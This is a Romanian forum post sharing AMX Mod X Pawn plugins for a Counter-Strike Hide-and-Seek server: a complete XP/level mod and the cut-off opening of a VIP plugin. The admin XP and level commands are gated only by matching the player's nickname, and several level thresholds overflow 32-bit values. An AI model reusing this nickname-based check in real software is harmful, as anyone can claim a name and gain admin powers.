aceste plugine de hns am încercat să le țin private, da nu am mai reușit..greșeala mea, oricum nu prea mi-am mai bătut capul așa de mult(lipsa de interes)
dacă este ceva ce nu vă convine la ele...așa au fost cerințele pentru ele, nu le-am făcut cum am vrut eu
ofer suport în caz de probleme/buguri/erori, AICI
sistem level 152
Code: Select all
//LAST EDIT - 10/03/2019 15:31
#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <hamsandwich>
#include <nvault>
#include <cstrike>
#include <fakemeta>
#include <engine>
#pragma tabsize 0
#define TAG_CHAT "hNs.PlayArena.Ro"
#define TAG_NORMAL "hNs.PlayArena.Ro"
#define LEVELE 151
#define TASK_pentru 06091993
new const PLUGIN_NAME[] = "Level Mod";
new const hnsxp_version[] = "1.0";
new const LEVELS[LEVELE] =
{
1000, // 1
3000, // 2
5000, // 3
7000, // 4
9000, // 5
10000, // 6
15000, // 7
20000, // 8
25000, // 9
30000, // 10
40000, // 11
50000, // 12
60000, // 13
70000, // 14
100000, // 15
120000, // 16
130000, // 17
150000, // 18
200000, // 19
250000, // 20
300000, // 21
350000, // 22
400000, // 23
450000, // 24
500000, // 25
600000, // 26
700000, // 27
800000, // 28
1000000, // 29
1200000, // 30
1300000, // 31
1400000, // 32
1500000, // 33
1600000, // 34
1700000, // 35
1800000, // 36
1900000, // 37
1950000, // 38
2000000, // 39
2500000, // 40
3000000, // 41
3500000, // 42
4000000, // 43
5000000, // 44
6000000, // 45
7000000, // 46
8000000, // 47
9000000, // 48
10000000, // 49
13000000, // 50
15000000, // 51
18000000, // 52
20000000, // 53
22500000, // 54
25000000, // 55
27500000, // 56
29000000, // 57
30000000, // 58
35000000, // 59
40000000, // 60
45000000, // 61
50000000, // 62
55000000, // 63
60000000, // 64
65000000, // 65
70000000, // 66
75000000, // 67
85000000, // 68
90000000, // 69
100000000, // 70
110000000, // 71
220000000, // 72
230000000, // 73
240000000, // 74
250000000, // 75
260000000, // 76
270000000, // 77
280000000, // 78
290000000, // 79
300000000, // 80
400000000, // 81
500000000, // 82
600000000, // 83
700000000, // 84
800000000, // 85
900000000, // 86
1000000000, // 87
1500000000, // 88
2000000000, // 89
3000000000, // 90
4000000000, // 91
5000000000, // 92
6000000000, // 93
7000000000, // 94
7500000000, // 95
8500000000, // 96
9099090000, // 97
10000000000, // 98
10000500000, // 99
20000000000, // 100
20000100000, // 101
20000110000, // 102
20000130000, // 103
20000134000, // 104
20000135000, // 105
20000136000, // 106
20000138000, // 107
20000139000, // 108
20000113000, // 109
20000213000, // 110
20000313000, // 111
20000413000, // 112
20000513000, // 113
20000613000, // 114
20000713000, // 115
20000813000, // 116
20000913000, // 117
20001113000, // 118
20002113000, // 119
20003113000, // 120
20004113000, // 121
20005113000, // 122
20006113000, // 123
20007113000, // 124
20008113000, // 125
20009113000, // 126
20011113000, // 127
20021113000, // 128
20031113000, // 129
20041113000, // 130
20051113000, // 131
20061113000, // 132
20071113000, // 133
20081113000, // 134
20091113000, // 135
20101113000, // 136
20201113000, // 137
20301113000, // 138
20401113000, // 139
20501113000, // 140
20601113000, // 141
20701113000, // 142
20901113000, // 143
21101113000, // 144
22101113000, // 145
23101113000, // 146
24101113000, // 147
25101113000, // 148
26101113000, // 149
27101113000, // 150
30000000000//151
}
new hnsxp_playerxp[33], hnsxp_playerlevel[33];
new g_hnsxp_vault
//new wxp, xlevel;
#define is_user_vip(%1) ( get_user_flags(%1) & ADMIN_IMMUNITY )
new Data[64];
new toplevels[33];
new topnames[33][32];
enum Color
{
NORMAL = 1, // clients scr_concolor cvar color
YELLOW = 1, // NORMAL alias
GREEN, // Green Color
TEAM_COLOR, // Red, grey, blue
GREY, // grey
RED, // Red
BLUE, // Blue
}
new TeamName[][] =
{
"",
"TERRORIST",
"CT",
"SPECTATOR"
}
new bool:start_count[33],bool:revive[33],round[33],mesaj[33]=0,count [ 33 ]=0,g_iUserTime[ 33 ],speed[33]
new hnsxp_kill, tero_win, vip_enable, vip_xp,hnsxp_knife,hnsxp_grenade,hnsxp_hs,eNtry,Buffer[256],path[128];
new arg[32], amount[32],name[32],tname[32],exp,target,vaultkey[64],vaultdata[256];
public plugin_init()
{
register_plugin(PLUGIN_NAME, hnsxp_version, "");
RegisterHam(Ham_Spawn, "player", "hnsxp_spawn", 1);
register_event( "DeathMsg","ev_DeathMsg", "a")
register_clcmd("say /level","plvl");
register_clcmd("say /xp","plvl");
register_clcmd("say_team /level","plvl");
register_clcmd("say_team /xp","plvl");
register_clcmd("say /levels","plvls");
register_clcmd("say_team /levels","plvls");
register_clcmd("lvl","tlvl");
register_clcmd( "say", "ClCmdSay" );
register_clcmd( "say_team", "ClCmdSay" );
g_hnsxp_vault = nvault_open("levelmod_vault");
register_event("SendAudio", "t_win", "a", "2&%!MRAD_terwin")
//xlevel = CreateMultiForward("PlayerMakeNextLevel", ET_IGNORE, FP_CELL);
//wxp = CreateMultiForward("PlayerIsHookXp", ET_IGNORE, FP_CELL);
register_forward(FM_ClientUserInfoChanged, "ClientUserInfoChanged")
register_clcmd("say /toplevel","sayTopLevel");
register_clcmd("say_team /toplevel","sayTopLevel");
register_concmd("amx_resetleveltop","concmdReset_Top");
get_datadir(Data, 63);
read_top();
//execute forward in ele
register_clcmd("amx_xp", "xp_cmd", -1, "amx_xp <NICK> <NUMARUL DE XP>")
register_clcmd("amx_takexp", "takexp_cmd", -1, "amx_takexp <NICK> <NUMARUL DE XP>")
register_clcmd("amx_level", "level_cmd", -1, "amx_level <NICK> <NUMARUL DE LEVEL>")
register_clcmd("amx_takelevel", "takelevel_cmd", -1, "amx_takelevel <NICK> <NUMARUL DE LEVEL>")
register_event ( "HLTV", "event_round_start", "a", "1=0", "2=0" );
register_clcmd("say /revive","CheckNOOB")
register_clcmd("say_team /revive","CheckNOOB")
set_task( 1.0, "task_PTRFunction", TASK_pentru, _, _, "b", 0 );
hnsxp_knife = register_cvar("hnsxp_knife","100");
hnsxp_hs = register_cvar("hnsxp_hs","1800");
hnsxp_grenade = register_cvar("hnsxp_grenade","1500");
hnsxp_kill = register_cvar("hnsxp_kill", "1500");
tero_win = register_cvar("hnsxp_terowin_xp","500");
vip_enable = register_cvar("hnsxp_vip_enable","1");
vip_xp = register_cvar("hnsxp_vip_xp","900");
}
public task_PTRFunction( )
{
static iPlayers[ 32 ],iPlayersNum;
get_players( iPlayers, iPlayersNum, "ch" );
if( !iPlayersNum ) return;
static id, i;
for( i = 0; i < iPlayersNum; i++ )
{
id = iPlayers[ i ];
g_iUserTime[ id ]++;
if( g_iUserTime[ id ] >= 20 * 60 )
{
g_iUserTime[ id ] -= 20 * 60;
hnsxp_playerxp[id]+=2000
ColorChat( id, RED, "^x04[%s]^x01 Ai primit 2000 xp pentru ca ai jucat 20 minute pe server!",TAG_CHAT);
}
}
}
public CheckNOOB(id)
{
if(is_user_alive(id)) return
if(hnsxp_playerlevel[id]<91)
{
ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Aceasta comanda este valabila de la level 90+",TAG_CHAT)
return
}
if(revive[id]&&round[id]<3&&start_count[id]&&count [ id ] > 0)
{
ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Ai folosit odata, mai ai de asteptat %i/3Rund%s",TAG_CHAT,count [ id ], count [ id ] == 1 ? "a" : "e")
return
}
ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Ai fost reinviat MUTHERFUKER!",TAG_CHAT)
revive[id]=true
start_count [ id ]=true
count [ id ] = 3;
ExecuteHamB( Ham_CS_RoundRespawn, id );
}
public event_round_start ( )
{
static iPlayers [ 32 ];
static iPlayersNum;
get_players ( iPlayers, iPlayersNum, "ch" );
if ( !iPlayersNum )
return;
static id, i;
for ( i = 0; i < iPlayersNum; ++i )
{
id = iPlayers [ i ];
if ( start_count [ id ] )
{
if(++round[id]>=3)
{
revive[id]=true
round[id]=0
mesaj[id]=0
start_count [ id ]=false
}
if ( count[ id ] > 0 )
{
count [ id ]--;
}
else if ( count[ id ] >= 3 )
{
count [ id ] = 0;
}
}
}
}
public xp_cmd(id)
{
get_user_name(id,name,charsmax(name))
if(!equal(name,"eVoLuTiOn")&&!equal(name,"Triplu"))
{
console_print(id,"[ Warrning ] NU AI ACCES LA COMANDA ***** !")
return PLUGIN_HANDLED;
}
read_argv(1, arg, charsmax(arg))
read_argv(2, amount, charsmax(amount))
if(equal(arg,"")||equal(amount,""))
{
console_print(id,"Use: amx_xp <tinta> <xp>")
return 1
}
target = cmd_target(id, arg, CMDTARGET_NO_BOTS)
exp = str_to_num(amount)
hnsxp_playerxp[target] = exp
//SaveData(target)
UpdateLevel(target)
get_user_name(target,tname,charsmax(tname))
ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Adminul ^4%s^1 i-a dat lui %s %d xp",TAG_CHAT,name,tname,exp);
return 1
}
public takexp_cmd(id)
{
get_user_name(id,name,charsmax(name))
if(!equal(name,"eVoLuTiOn")&&!equal(name,"Triplu"))
{
console_print(id,"[ Warrning ] NU AI ACCES LA COMANDA ***** !")
return PLUGIN_HANDLED;
}
read_argv(1, arg, charsmax(arg))
read_argv(2, amount, charsmax(amount))
if(equal(arg,"")||equal(amount,""))
{
console_print(id,"Use: amx_takexp <tinta> <xp>")
return 1
}
target = cmd_target(id, arg, CMDTARGET_NO_BOTS)
exp = str_to_num(amount)
if(!target)
{
return 1
}
hnsxp_playerxp[target] -= exp
UpdateLevel(target)
get_user_name(target,tname,charsmax(tname))
ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Adminul ^4%s^1 i-a luat lui %s %d xp",TAG_CHAT,name,tname,exp);
return 1
}
public level_cmd(id)
{
get_user_name(id,name,charsmax(name))
if(!equal(name,"eVoLuTiOn")&&!equal(name,"Triplu"))
{
console_print(id,"[ Warrning ] NU AI ACCES LA COMANDA ***** !")
return PLUGIN_HANDLED;
}
read_argv(1, arg, charsmax(arg))
read_argv(2, amount, charsmax(amount))
if(equal(arg,"")||equal(amount,""))
{
console_print(id,"Use: amx_level <tinta> <level>")
return 1
}
target = cmd_target(id, arg, CMDTARGET_NO_BOTS)
exp = str_to_num(amount)
if(!target)
{
return 1
}
hnsxp_playerlevel[target] = exp
UpdateLevel(target)
get_user_name(target,tname,charsmax(tname))
ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Adminul ^4%s^1 i-a dat lui %s %d level",TAG_CHAT,name,tname,exp);
return 1
}
public takelevel_cmd(id)
{
get_user_name(id,name,charsmax(name))
if(!equal(name,"eVoLuTiOn")&&!equal(name,"Triplu"))
{
console_print(id,"[ Warrning ] NU AI ACCES LA COMANDA ***** !")
return PLUGIN_HANDLED;
}
read_argv(1, arg, charsmax(arg))
read_argv(2, amount, charsmax(amount))
if(equal(arg,"")||equal(amount,""))
{
console_print(id,"Use: amx_takelevel <tinta> <level>")
return 1
}
target = cmd_target(id, arg, CMDTARGET_NO_BOTS)
exp = str_to_num(amount)
if(!target)
{
return 1
}
hnsxp_playerlevel[target] -= exp
UpdateLevel(target)
get_user_name(target,tname,charsmax(tname))
ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Adminul ^4%s^1 i-a luat lui %s %d xp",TAG_CHAT,name,tname,exp);
return 1
}
public concmdReset_Top(id) {
get_user_name(id,name,charsmax(name))
if( !equal(name,"eVoLuTiOn")) {
return PLUGIN_HANDLED;
}
formatex(path, 127, "%s/LevelTop.dat", Data);
if( file_exists(path) ) {
delete_file(path);
}
for( new i = 0; i < 10; i++ ) {
formatex(topnames[i], 31, "");
toplevels[i]= 0;
}
save_top();
ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Adminul ^4%s^1 a resetat top-level!",TAG_CHAT,name);
return PLUGIN_CONTINUE;
}
public checkandupdatetop(id, levels) {
if(!is_user_connected(id)) return
get_user_name(id, name, 31);
for (new i = 0; i < 10; i++)
{
if( levels > toplevels[i] )
{
new pos = i;
while( !equal(topnames[pos],name) && pos < 10 )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(topnames[j], 31, topnames[j-1]);
toplevels[j] = toplevels[j-1];
}
formatex(topnames[i], 31, name);
toplevels[i]= levels;
ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Jucatorul ^4%s^1 a intrat pe locul ^4%i^1 in top level !",TAG_CHAT, name,(i+1));
if(i+1 == 1) {
client_cmd(0, "spk vox/doop");
} else {
client_cmd(0, "spk buttons/bell1");
}
save_top();
break;
}
else if( equal(topnames[i], name))
break;
}
}
public save_top() {
formatex(path, 127, "%s/LevelTop.dat", Data);
if( file_exists(path) ) {
delete_file(path);
}
new f = fopen(path, "at");
for(new i = 0; i < 10; i++)
{
formatex(Buffer, 255, "^"%s^" ^"%d^"^n",topnames[i],toplevels[i] );
fputs(f, Buffer);
}
fclose(f);
}
public read_top() {
formatex(path, 127, "%s/LevelTop.dat", Data);
new f = fopen(path, "rt" );
new i = 0;
while( !feof(f) && i < 10+1)
{
fgets(f, Buffer, 255);
new lvls[25];
parse(Buffer, topnames[i], 31, lvls, 24);
toplevels[i]= str_to_num(lvls);
i++;
}
fclose(f);
}
public sayTopLevel(id) {
static buffer[2368], namex[131], len, i;
len = formatex(buffer, 2047, "<html><head><meta charset=UTF-8></head><body bgcolor=#FFFFFF><table width=100%% cellpadding=2 cellspacing=0 border=0>");
len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#52697B><th width=10%% >#<th width=45%%> Nume <th width=45%%>Level");
for( i = 0; i < 10; i++ ) {
if( toplevels[i] == 0) {
len += formatex(buffer[len], 2047-len, "<tr align=center%s><td> %d<td> %s<td> %s",((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), "-", "-");
//i = 10
}
else {
namex = topnames[i];
while( containi(namex, "<") != -1 )
replace(namex, 129, "<", "<");
while( containi(namex, ">") != -1 )
replace(namex, 129, ">", ">");
len += formatex(buffer[len], 2047-len, "<tr align=center%s><td> %d<td> %s<td> %d",((i%2)==0) ? "" : " bgcolor=#A4BED6", (i+1), namex,toplevels[i]);
}
}
len += format(buffer[len], 2367-len, "</table>");
len += formatex(buffer[len], 2367-len, "<tr align=bottom font-size:11px><Center><br><br><br><br>[%s] by EVO</body></body>",TAG_NORMAL);
static strin[20];
format(strin,33, "Top Level");
show_motd(id, buffer, strin);
}
public ClientUserInfoChanged(id)
{
static const namexx[] = "name"
static szOldName[32], szNewName[32]
pev(id, pev_netname, szOldName, charsmax(szOldName))
if( szOldName[0] )
{
get_user_info(id, namexx, szNewName, charsmax(szNewName))
if( !equal(szOldName, szNewName) )
{
set_user_info(id, namexx, szOldName)
ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Pe acest server nu este permisa schimbarea numelui !",TAG_CHAT);
return FMRES_HANDLED
}
}
return FMRES_IGNORED
}
public plugin_natives()
{
register_native("get_user_xp","_get_user_xp");
register_native("get_user_level","_get_user_level");
register_native("set_user_xp","_set_user_xp");
register_native("set_user_level","_set_user_level");
}
public _get_user_xp(plugin, params)
{
return hnsxp_playerxp[get_param(1)];
}
public _get_user_level(plugin, params)
{
return hnsxp_playerlevel[get_param(1)];
}
public _set_user_xp(plugin, value)
{
new id = get_param(1)
if(is_user_connected(id))
{
hnsxp_playerxp[id] = value;
return 0
}
else
{
log_error(AMX_ERR_NATIVE,"User %d is not connected !",id)
return 0
}
return 1
}
public _set_user_level(plugin, valuex)
{
new id = get_param(1)
if(is_user_connected(id))
{
hnsxp_playerlevel[id] = valuex;
return 0
}
else
{
log_error(AMX_ERR_NATIVE,"User %d is not connected !",id)
return 0
}
return 1
}
public hnsxp_spawn(id)
{
if(!is_user_alive(id)||hnsxp_playerlevel[id]<=0) return
speed[id]=0
if(!task_exists(id+69)) set_task(15.0, "gItem", id+69);
UpdateLevel(id);
}
public gItem(id)
{
id-=69
if(is_user_alive(id))
{
switch(hnsxp_playerlevel[id])
{
case 1..30:
{
give_item(id, "weapon_hegrenade");
give_item(id, "weapon_smokegrenade");
set_user_health(id, get_user_health(id) + 2);
}
case 31..50:
{
give_item(id, "weapon_deagle")
eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
give_item(id, "weapon_smokegrenade");
cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2);
if(eNtry) cs_set_weapon_ammo(eNtry, 2);
cs_set_user_bpammo(id, CSW_DEAGLE, 0);
cs_set_user_money(id,cs_get_user_money(id)+3)
set_user_health(id, get_user_health(id) + 3);
}
case 51..70:
{
give_item(id, "weapon_deagle")
eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
give_item(id, "weapon_hegrenade");
give_item(id, "weapon_smokegrenade");
cs_set_user_bpammo(id, CSW_HEGRENADE, 2);
cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2);
if(eNtry) cs_set_weapon_ammo(eNtry, 2);
cs_set_user_bpammo(id, CSW_DEAGLE, 0);
set_user_health(id, get_user_health(id) + 7);
cs_set_user_money(id,cs_get_user_money(id)+5)
}
case 71..90:
{
give_item(id, "weapon_deagle")
eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
give_item(id, "weapon_hegrenade");
give_item(id, "weapon_smokegrenade");
cs_set_user_bpammo(id, CSW_HEGRENADE, 3);
cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 3);
if(eNtry) cs_set_weapon_ammo(eNtry, 3);
cs_set_user_money(id,cs_get_user_money(id)+7)
cs_set_user_bpammo(id, CSW_DEAGLE, 0);
set_user_health(id, get_user_health(id) + 10);
speed[id]=1
set_user_maxspeed(id,270.0)
}
case 91..100:
{
give_item(id, "weapon_deagle")
eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
give_item(id, "weapon_hegrenade");
give_item(id, "weapon_smokegrenade");
cs_set_user_bpammo(id, CSW_HEGRENADE, 3);
cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 3);
if(eNtry) cs_set_weapon_ammo(eNtry, 3);
cs_set_user_bpammo(id, CSW_DEAGLE, 0);
set_user_health(id, get_user_health(id) + 16);
speed[id]=2
set_user_maxspeed(id,290.0)
cs_set_user_money(id,cs_get_user_money(id)+9)
set_user_gravity(id,get_cvar_float("sv_gravity")/800.0)
if(!task_exists(id+37)) set_task(30.0,"RemoveGRAV",id+37)
//revive[id]=true
ColorChat(id, TEAM_COLOR,"^1[^3%s^1] Ai primit 400gravity pentru 30s avand level 90plus",TAG_CHAT)
}
case 101..152:
{
give_item(id, "weapon_deagle")
eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );
give_item(id, "weapon_hegrenade");
give_item(id, "weapon_smokegrenade");
cs_set_user_bpammo(id, CSW_HEGRENADE, 4);
cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 4);
if(eNtry) cs_set_weapon_ammo(eNtry, 4);
cs_set_user_bpammo(id, CSW_DEAGLE, 0);
set_user_health(id, get_user_health(id) + 25);
speed[id]=3
set_user_maxspeed(id,300.0)
cs_set_user_money(id,cs_get_user_money(id)+9)
set_user_gravity(id,get_cvar_float("sv_gravity")/800.0)
if(!task_exists(id+37)) set_task(60.0,"RemoveGRAV",id+37)
//revive[id]=true
ColorChat(id, TEAM_COLOR,"^1[^3%s^1] Ai primit 400gravity pentru 60s avand level 100plus",TAG_CHAT)
}
}
ColorChat(id, TEAM_COLOR,"^1[^3%s^1] Ai primit ITEMELE ( GL & HF )",TAG_CHAT)
remove_task(id+69)
}
}
public RemoveGRAV(id)
{
id-=37
set_user_gravity(id/*,get_cvar_float("sv_gravity")*/)
remove_task(id+37)
}
public client_PostThink(id)
{
if(is_user_alive(id))
{
switch(speed[id])
{
case 1: set_user_maxspeed(id,270.0)
case 2: set_user_maxspeed(id,290.0)
case 3: set_user_maxspeed(id,300.0)
//default: set_user_maxspeed(id,250.0)
}
}
}
public UpdateLevel(id)
{
if(!is_user_connected(id)) return PLUGIN_HANDLED
if(hnsxp_playerlevel[id] < LEVELE)
{
while(hnsxp_playerxp[id] >= LEVELS[hnsxp_playerlevel[id]])
{
//new ret;
//ExecuteForward(xlevel, ret, id);
//new xpx = hnsxp_playerlevel[ id ] * 10;
//hnsxp_playerxp[id] = hnsxp_playerxp[id] + ( value + xpx );
hnsxp_playerlevel[id] ++
if(task_exists(id+45)) set_task(1.5,"INFO",id+45)
//break
}
}
return PLUGIN_HANDLED
}
public INFO(id)
{
id-=45
ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Felicitari ai trecut la nivelul %d !",TAG_CHAT,hnsxp_playerlevel[id]);
if(hnsxp_playerlevel[id]>=91&&++mesaj[id]>=1) ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Nivelul tau iti permite un revive 1/3Runde ( /revive )",TAG_CHAT);
checkandupdatetop(id,hnsxp_playerlevel[id])
remove_task(id+45)
return PLUGIN_HANDLED
}
public plvl(id)
{
if(hnsxp_playerlevel[id]<151) ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] ^4LVL ^1: ^3%d ^1, ^4XP ^1: ^3%d ^1/ ^3%d",TAG_CHAT, hnsxp_playerlevel[id], hnsxp_playerxp[id], LEVELS[hnsxp_playerlevel[id]]);
else ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] ^4LVL ^1: ^3%d ^1, ^4XP ^1: ^3MAXIM ^1/ ^3MAXIM",TAG_CHAT, hnsxp_playerlevel[id]);
return PLUGIN_HANDLED
}
public plvls(id)
{
new players[32], playersnum, motd[1024], len;
len = formatex(motd, charsmax(motd), "<html><head><meta charset=UTF-8></head><body bgcolor=black><center><font color=red><b>LEVEL NUME XP<br/>");
get_players(players, playersnum,"c");
for ( new i = 0 ; i < playersnum ; i++ ) {
get_user_name(players[i], name, charsmax(name));
len += formatex(motd[len], charsmax(motd) - len, "<br>[%d] %s: %d",hnsxp_playerlevel[players[i]], name, hnsxp_playerxp[players[i]]);
}
formatex(motd[len], charsmax(motd) - len, "</b></font></center></body></head>");
show_motd(id, motd);
return PLUGIN_HANDLED
}
public ClCmdSay( id )
{
static szArgs[ 192 ];
read_args( szArgs, sizeof ( szArgs ) -1 );
if( !szArgs[ 0 ] )
return 0;
new szCommand[ 192 ];
remove_quotes( szArgs );
if( equal( szArgs, "/lvl", strlen( "/lvl" ) ) )
{
replace( szArgs, sizeof ( szArgs ) -1, "/", "" );
formatex( szCommand, sizeof ( szCommand ) -1, szArgs );
client_cmd( id, szCommand );
return 1;
}
return 0;
}
public tlvl(id)
{
new argx[32]
read_argv(1,argx,charsmax(argx))
if(equal(argx,""))
{
get_user_name(id, name, 31)
ColorChat(0, TEAM_COLOR,"^1[^3 %s^1 ] Jucatorul ^3%s ^1are nivelul ^4%d",TAG_CHAT,name, hnsxp_playerlevel[id]);
return PLUGIN_HANDLED
}
else
{
target=cmd_target(id,argx,CMDTARGET_NO_BOTS)
if(!target) return 1
get_user_name(target, name, 31)
ColorChat(id, TEAM_COLOR,"^1[^3 %s^1 ] Jucatorul ^3%s ^1are nivelul ^4%d",TAG_CHAT,name, hnsxp_playerlevel[target]);
return PLUGIN_HANDLED
}
return PLUGIN_HANDLED
}
public t_win(id)
{
new iPlayer [ 32 ], iNum;
get_players(iPlayer, iNum, "ace", "TERRORIST")
for ( new i = 0; i < iNum; i++ ) {
if(is_user_vip(iPlayer [ i ]) && get_pcvar_num(vip_enable)==1)
{
hnsxp_playerxp[iPlayer [ i ]] += get_pcvar_num(vip_xp);
ColorChat(iPlayer [ i ], TEAM_COLOR,"^1[^3 %s^1 ] Ai primit un bonus de +%d xp pentru ca esti VIP !",TAG_CHAT,get_pcvar_num(vip_xp));
}
hnsxp_playerxp[iPlayer [ i ]] += get_pcvar_num(tero_win);
ColorChat(iPlayer[i], TEAM_COLOR,"^1[^3 %s^1 ] Ai primit +%i ^4XP^1 pentru ca echipa ^4TERO^1 a castigat !",TAG_CHAT,get_pcvar_num(tero_win));
//UpdateLevel(iPlayer[i]);
//checkandupdatetop(iPlayer[i],hnsxp_playerlevel[iPlayer[i]])
}
}
public ev_DeathMsg( )
{
new attacker = read_data( 1 ),iVictim=read_data(2),headshot=read_data(3);
if( !attacker || attacker == iVictim )
return;
new szWeapon[ 32 ];
read_data( 4, szWeapon, charsmax( szWeapon ) );
format( szWeapon, charsmax( szWeapon ), "weapon_%s", szWeapon );
if( contain( szWeapon, "nade" ) >= 0 ) szWeapon = "weapon_hegrenade";
new iWeapon = get_weaponid( szWeapon );
new szName[ 32 ];
get_user_name( iVictim, szName, sizeof( szName ) -1 );
if(iWeapon==CSW_KNIFE)
{
if(headshot)
{
hnsxp_playerxp[attacker] += get_pcvar_num(hnsxp_hs);
ColorChat(attacker, TEAM_COLOR,"^1[^3 %s^1 ] Ai primit +%d XP pentru ca l-ai omorat pe %s cu KNIFE prin HS!", TAG_CHAT, get_pcvar_num(hnsxp_hs), szName);
}
else
{
hnsxp_playerxp[attacker] += get_pcvar_num(hnsxp_knife);
ColorChat(attacker, TEAM_COLOR,"^1[^3 %s^1 ] Ai primit +%d XP pentru ca l-ai omorat pe %s cu KNIFE!", TAG_CHAT, get_pcvar_num(hnsxp_knife), szName);
}
}
else if(iWeapon==CSW_HEGRENADE)
{
hnsxp_playerxp[attacker] += get_pcvar_num(hnsxp_grenade);
ColorChat(attacker, TEAM_COLOR,"^1[^3 %s^1 ] Ai primit +%d XP pentru ca l-ai omorat pe %s cu HE!", TAG_CHAT, get_pcvar_num(hnsxp_grenade), szName);
}
else
{
hnsxp_playerxp[attacker] += get_pcvar_num(hnsxp_kill);
ColorChat(attacker, TEAM_COLOR,"^1[^3 %s^1 ] Ai primit +%d XP pentru ca l-ai omorat pe %s!", TAG_CHAT, get_pcvar_num(hnsxp_kill), szName);
}
//new ret;
//ExecuteForward(wxp, ret, attacker);
UpdateLevel(attacker);
//UpdateLevel(iVictim);
}
public client_connect(id)
{
hnsxp_playerlevel[id]=0
hnsxp_playerxp[id]=0
LoadData(id);
//checkandupdatetop(id,hnsxp_playerlevel[id])
revive[id]=false
count[id]=0
start_count[id]=false
round[id]=0
mesaj[id]=false
g_iUserTime[ id ]=0
speed[id]=0
remove_task(id+69)
remove_task(id+37)
remove_task(id+45)
}
public client_disconnect(id)
{
SaveData(id);
hnsxp_playerlevel[id]=0
hnsxp_playerxp[id]=0
//checkandupdatetop(id,hnsxp_playerlevel[id])
revive[id]=false
count[id]=0
start_count[id]=false
round[id]=0
mesaj[id]=false
g_iUserTime[ id ]=0
speed[id]=0
remove_task(id+69)
remove_task(id+37)
remove_task(id+45)
}
public SaveData(id)
{
get_user_name(id,name,charsmax(name));
formatex(vaultkey,63,"ByEVO-%s",name);
formatex(vaultdata,255,"%d`%d",hnsxp_playerxp[id],hnsxp_playerlevel[id]);
nvault_set(g_hnsxp_vault,vaultkey,vaultdata);
}
public LoadData(id)
{
get_user_name(id,name,charsmax(name));
formatex(vaultkey,63,"ByEVO-%s",name);
formatex(vaultdata,255,"%d`%d",hnsxp_playerxp[id],hnsxp_playerlevel[id]);
nvault_get(g_hnsxp_vault,vaultkey,vaultdata,255);
replace_all(vaultdata, 255, "`", " ");
new playerxp[32], playerlevel[32];
parse(vaultdata, playerxp, 31, playerlevel, 31);
hnsxp_playerxp[id] = str_to_num(playerxp);
hnsxp_playerlevel[id] = str_to_num(playerlevel);
}
ColorChat(id, Color:type, const msg[], {Float,Sql,Result,_}:...)
{
new message[256];
switch(type)
{
case NORMAL: // clients scr_concolor cvar color
{
message[0] = 0x01;
}
case GREEN: // Green
{
message[0] = 0x04;
}
default: // White, Red, Blue
{
message[0] = 0x03;
}
}
vformat(message[1], 251, msg, 4);
// Make sure message is not longer than 192 character. Will crash the server.
message[191] = '^0';
new team, ColorChange, index, MSG_Type;
if(id)
{
MSG_Type = MSG_ONE;
index = id;
} else {
index = FindPlayer();
MSG_Type = MSG_ALL;
}
team = get_user_team(index);
ColorChange = ColorSelection(index, MSG_Type, type);
ShowColorMessage(index, MSG_Type, message);
if(ColorChange)
{
Team_Info(index, MSG_Type, TeamName[team]);
}
}
ShowColorMessage(id, type, message[])
{
static get_user_msgid_saytext;
if(!get_user_msgid_saytext)
{
get_user_msgid_saytext = get_user_msgid("SayText");
}
message_begin(type, get_user_msgid_saytext, _, id);
write_byte(id)
write_string(message);
message_end();
}
Team_Info(id, type, team[])
{
static bool:teaminfo_used;
static get_user_msgid_teaminfo;
if(!teaminfo_used)
{
get_user_msgid_teaminfo = get_user_msgid("TeamInfo");
teaminfo_used = true;
}
message_begin(type, get_user_msgid_teaminfo, _, id);
write_byte(id);
write_string(team);
message_end();
return 1;
}
ColorSelection(index, type, Color:Type)
{
switch(Type)
{
case RED:
{
return Team_Info(index, type, TeamName[1]);
}
case BLUE:
{
return Team_Info(index, type, TeamName[2]);
}
case GREY:
{
return Team_Info(index, type, TeamName[0]);
}
}
return 0;
}
FindPlayer()
{
new i = -1;
static iMaxPlayers;
if( !iMaxPlayers )
{
iMaxPlayers = get_maxplayers( );
}
while(i <= iMaxPlayers)
{
if(is_user_connected(++i))
return i;
}
return -1;
}
public plugin_end() nvault_close(g_hnsxp_vault)
plugin vip
Code: Select all
// EDITED ON - 05.04.2019 & 20:49
#include < amxmodx >
#include < amxmisc >
#include < cstrike >
#include <engine>
#include < fun >
#include < hamsandwich >
#include < colorchat >
#define PLUGIN "HnS.Play-Arena.Ro - HNS.Play-Arena.RO"
#define VERSION "1.4x"
#define AUTHOR "eVoLuTiOn"
#define IP_SERVER_LICENTIAT "93.119.25.136"
new bool: HaveSpeed [ 33 ], bool: HaveSpeed2 [ 33 ], bool: AlreadyChoosed [ 33 ];
new incercari [ 33 ], incercari1 [ 33 ], incercari2 [ 33 ];
new count [ 33 ] = 0 , count2 [ 33 ] = 0,count3 [ 33 ] = 0,count4 [ 33 ] = 0;
public plugin_init ( )
{
new IP_LICENTIAT [ 20 ];
